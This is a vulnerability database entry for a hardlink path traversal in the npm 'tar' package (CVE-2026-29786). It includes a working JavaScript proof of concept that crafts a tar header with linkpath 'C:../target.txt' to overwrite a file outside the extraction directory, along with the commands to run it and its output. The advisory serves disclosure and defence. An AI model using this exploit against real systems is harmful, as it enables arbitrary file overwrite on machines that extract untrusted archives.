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| Vulnerability ID | VCID-bj4b-gq5e-2kfy |
| Aliases |
CVE-2026-29786
GHSA-qffp-2rhf-9h96 |
| Summary | tar has Hardlink Path Traversal via Drive-Relative Linkpath ### Summary `tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction. ### Details The extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots. What happens with `linkpath: "C:../target.txt"`: 1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false. 2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`. 3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up. 4. Writing through the extracted hardlink overwrites the outside file. This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives. ### PoC Tested on Arch Linux with `tar@7.5.9`. PoC script (`poc.cjs`): ```js const fs = require('fs') const path = require('path') const { Header, x } = require('tar') const cwd = process.cwd() const target = path.resolve(cwd, '..', 'target.txt') const tarFile = path.join(process.cwd(), 'poc.tar') fs.writeFileSync(target, 'ORIGINAL\n') const b = Buffer.alloc(1536) new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0) fs.writeFileSync(tarFile, b) x({ cwd, file: tarFile }).then(() => { fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n') process.stdout.write(fs.readFileSync(target, 'utf8')) }) ``` Run: ```bash cd test-workspace node poc.cjs && ls -l ../target.txt ``` Observed output: ```text PWNED -rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt ``` `PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked. ### Impact This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction. Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 8.0 |
| Risk | 4.0 |
| Affected and Fixed Packages | Package Details |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Attack Requirements (AT) | Privileges Required (PR) | User Interaction (UI) | Vulnerable System Impact Confidentiality (VC) | Vulnerable System Impact Integrity (VI) | Vulnerable System Impact Availability (VA) | Subsequent System Impact Confidentiality (SC) | Subsequent System Impact Integrity (SI) | Subsequent System Impact Availability (SA) |
|---|---|---|---|---|---|---|---|---|---|---|
network adjacent local physical |
low high |
none present |
none low high |
none passive active |
high low none |
high low none |
high low none |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Attack Requirements (AT) | Privileges Required (PR) | User Interaction (UI) | Vulnerable System Impact Confidentiality (VC) | Vulnerable System Impact Integrity (VI) | Vulnerable System Impact Availability (VA) | Subsequent System Impact Confidentiality (SC) | Subsequent System Impact Integrity (SI) | Subsequent System Impact Availability (SA) |
|---|---|---|---|---|---|---|---|---|---|---|
network adjacent local physical |
low high |
none present |
none low high |
none passive active |
high low none |
high low none |
high low none |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Attack Requirements (AT) | Privileges Required (PR) | User Interaction (UI) | Vulnerable System Impact Confidentiality (VC) | Vulnerable System Impact Integrity (VI) | Vulnerable System Impact Availability (VA) | Subsequent System Impact Confidentiality (SC) | Subsequent System Impact Integrity (SI) | Subsequent System Impact Availability (SA) |
|---|---|---|---|---|---|---|---|---|---|---|
network adjacent local physical |
low high |
none present |
none low high |
none passive active |
high low none |
high low none |
high low none |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Attack Requirements (AT) | Privileges Required (PR) | User Interaction (UI) | Vulnerable System Impact Confidentiality (VC) | Vulnerable System Impact Integrity (VI) | Vulnerable System Impact Availability (VA) | Subsequent System Impact Confidentiality (SC) | Subsequent System Impact Integrity (SI) | Subsequent System Impact Availability (SA) |
|---|---|---|---|---|---|---|---|---|---|---|
network adjacent local physical |
low high |
none present |
none low high |
none passive active |
high low none |
high low none |
high low none |
high low none |
high low none |
high low none |
| Percentile | 0.00245 |
| EPSS Score | 5e-05 |
| Published At | April 2, 2026, 12:55 p.m. |
| Date | Actor | Action | Source | VulnerableCode Version |
|---|---|---|---|---|
| 2026-04-01T12:54:05.187555+00:00 | GithubOSV Importer | Import | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-qffp-2rhf-9h96/GHSA-qffp-2rhf-9h96.json | 38.0.0 |